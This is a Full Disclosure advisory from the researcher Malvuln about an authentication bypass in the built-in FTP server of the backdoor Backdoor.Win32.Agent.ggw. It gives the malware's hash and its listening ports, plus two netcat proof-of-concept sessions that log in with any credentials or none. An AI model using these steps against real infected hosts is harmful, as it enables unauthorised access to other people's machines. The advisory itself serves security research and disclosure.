full-disclosure - [FD] Backdoor.Win32.Agent.ggw / Authentication Bypass

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Message-ID: <CAAHK0WRgYp4m-joh9CiPzu8iNoO4cBzeCuxoAZFji7sEDG6snA@mail.gmail.com>
Date: Thu, 29 Apr 2021 19:06:16 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.ggw / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/509e3d4839688c6173980dfba22ebd55.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.ggw
Vulnerability: Authentication Bypass
Description: The malware runs a built-in FTP server listening on one of
several random TCP ports like 32335, 27227, 27942, 14223, 14988, 11092.
Third-party attackers who can reach the server and that know or guess the
port can "logon" using any USER/PASS combination or provide no credentials
at all.
Type: PE32
MD5: 509e3d4839688c6173980dfba22ebd55
Vuln ID: MVID-2021-0193
Dropped files:
Disclosure: 04/29/2021

Exploit/PoC:
1) Any user creds

nc64.exe MALWARE_HOST_IP 14223
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)
USER mal
331 Password required
PASS vuln
230 User logged in.
SYST
501 Option not supported.
LIST
226 Transfer complete

2) No creds

nc64.exe MALWARE_HOST_IP 14223
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)
SYST
501 Option not supported.
LIST
226 Transfer complete

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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